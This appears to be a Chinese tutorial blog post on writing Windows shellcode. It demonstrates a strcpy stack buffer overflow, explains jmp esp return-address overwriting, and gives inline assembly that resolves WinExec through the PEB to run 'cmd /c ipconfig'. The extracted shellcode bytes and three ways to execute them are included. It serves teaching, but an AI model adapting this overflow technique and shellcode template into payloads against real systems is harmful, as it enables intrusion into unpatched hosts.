Shellcode的原理及编写

大兔子大兔子 提交于 2020-03-02 09:18:20

1.shellcode原理

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

如下链接是shellcode编写的基础,仅供参考

 http://blog.chinaunix.net/uid-24917554-id-3506660.html

缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

[cpp] view plaincopy在CODE上查看代码片派生到我的代码片

<EMBED id=ZeroClipboardMovie_1 height=18 name=ZeroClipboardMovie_1 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=1&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. int fun(char *shellcode)  

  2. {  

  3.     char str[4]="";//这里定义4个字节  

  4.     strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出  

  5.     printf("%s",str);  

  6.     return 1;  

  7. }  

  8. int main(int argc, char* argv[])  

  9. {  

  10.   char str[]="aaaaaaaaaaaaaaaaaaa!";  

  11.   fun(str);  

  12.   return 0;  

  13. }  

如上程序,会导致缓冲区溢出。

程序运行后截图如下

如上可以看出来,异常偏移是61616161,其实自己观察61616161其实就是aaaa的Hex编码

因为调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出

内存栈区从高到低

[参数][ebp][返回地址][函数内部变量空间]
如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化

如图


0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。

再往下执行strcpy函数后,可以看见aaaaaaaa覆盖了返回地址

如图


可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。

fun函数执行完后,返回调用fun函数地址时候,导致程序报错。

缓冲区溢出的简单讲解如上,这时候,如果我们把返回地址改成我们自己的函数地址,不就可以执行我们自己的程序了?

缓冲区溢出利用就是把返回地址改成我们自己的函数地址,上面的方法就是覆盖eip,既返回地址,还有一种方法是覆盖SHE,原理差不多。

了解了基本原理,下面可以编写利用的代码

缓冲区溢出,基本的使用方法是jmp esp,覆盖的eip指针是jmp esp的地址,利用的字符串结构如下

[正常的字符串][jmp esp的地址][执行的代码(shellcode)]

关于获取jmp esp的代码,可以自己写个程序,从系统中查找jmp esp代码0xFFE4。

下面开始编写shellcode以及调用实现

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<EMBED id=ZeroClipboardMovie_2 height=18 name=ZeroClipboardMovie_2 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=2&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. void fun()  

  2. {  

  3.     __asm  

  4.     {  

  5.      mov eax, dword ptr fs:[0x30];  

  6.      mov eax, dword ptr [eax+0xC];  

  7.      mov eax, dword ptr [eax+0xC];  

  8.      mov eax, dword ptr [eax];  

  9.      mov eax, dword ptr [eax];  

  10.      mov eax, dword ptr [eax+0x18];  

  11.      mov ebp,eax                        //Kernel.dll基址  

  12.      mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部  

  13.      mov edx,dword ptr ds:[eax+ebp+78H]  //  

  14.      add edx,ebp                        // edx=引出表地址  

  15.      mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions  

  16.      mov ebx,dword ptr ds:[edx+20H]      //  

  17.      add ebx,ebp                        // ebx=函数名地址,AddressOfName  

  18. start:                                  //  

  19.      dec ecx                            // 循环的开始  

  20.      mov esi,dword ptr ds:[ebx+ecx*4]   //  

  21.      add esi,ebp                        //  

  22.      mov eax,0x50746547                   //  

  23.      cmp dword ptr ds:[esi],eax         // 比较PteG  

  24.      jnz start                     //  

  25.      mov eax,0x41636F72                   //  

  26.      cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress  

  27.      jnz start                     //  

  28.      mov ebx,dword ptr ds:[edx+24H]      //  

  29.      add ebx,ebp                        //  

  30.      mov cx,word ptr ds:[ebx+ecx*2]     //  

  31.      mov ebx,dword ptr ds:[edx+1CH]      //  

  32.      add ebx,ebp                        //  

  33.      mov eax,dword ptr ds:[ebx+ecx*4]   //  

  34.      add eax,ebp                        // eax 现在是GetProcAddress地址  

  35.      mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用  

  36.      push 0                             //  

  37.      push 0x636578                        //  

  38.      push 0x456E6957                      // 构造WinExec字符串  

  39.      push esp                           //  

  40.      push ebp                           // ebp是kernel32.dll的基址   

  41.      call ebx                           // 用GetProcAdress得到WinExec地址  

  42.      mov ebx,eax                        // WinExec地址保存到ecx  

  43.    

  44.      push 0x00676966  

  45.      push 0x6E6F6370  

  46.      push 0x6920632F  

  47.      push 0x20646d63    //cmd压入栈  

  48.   

  49.      lea eax,[esp];     //取到cmd首地址  

  50.      push 1             //  

  51.      push eax           // ASCII "cmd /c ipconfig"  

  52.      call ebx           // 执行WinExec  

  53.     // leave            // 跳回原始入口点  

  54.     }  

  55. }  


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<EMBED id=ZeroClipboardMovie_3 height=18 name=ZeroClipboardMovie_3 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=3&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. int main(int argc, char* argv[])  

  2. {  

  3.    fun();  

  4. }  



如果汇编代码在vc调试下,获取二进制代码如图:


查看00401A08的地址,可以看出是fun函数的汇编代码

shellcode代码基本获取到了,现在是要把他复制出来,

我取出来的后,如下

[cpp] view plaincopy在CODE上查看代码片派生到我的代码片

<EMBED id=ZeroClipboardMovie_4 height=18 name=ZeroClipboardMovie_4 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=4&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. unsigned char shellcode[]={  

  2.     0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,  

  3.     0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,  

  4.     0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  

  5.     0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,  

  6.     0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,  

  7.     0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  

稍作了下加工,0x是HEX的方式。

下面是我们调用shellcode,看是否可以用

程序如下:

[cpp] view plaincopy在CODE上查看代码片派生到我的代码片

<EMBED id=ZeroClipboardMovie_5 height=18 name=ZeroClipboardMovie_5 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=5&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. int main(int argc, char* argv[])  

  2. {  

  3.     unsigned char shellcode[]={  

  4.     0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,  

  5.     0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,  

  6.     0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,  

  7.     0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  

  8.     0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,  

  9.     0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,  

  10.     0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,  

  11.     0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  

  12.     //三种方式执行shellcode  

  13.     //第一种  

  14.     ((void (*)())&shellcode)(); // 执行shellcode  

  15.     //第二种  

  16.     __asm     

  17.    {     

  18.       lea eax,shellcode;     

  19.       jmp eax;     

  20.    }   

  21.    //第三种  

  22.     __asm  

  23.    {  

  24.       lea eax, shellcode  

  25.       push eax  

  26.       ret   

  27.    }  

  28. }  

至此,shellcode的编写完成了,如上这只是shellcode大致编写过程,是在windows下环境编写的,linux环境下的编写过程基本相同

至于更高级的利用,可以去看雪论坛逛逛。

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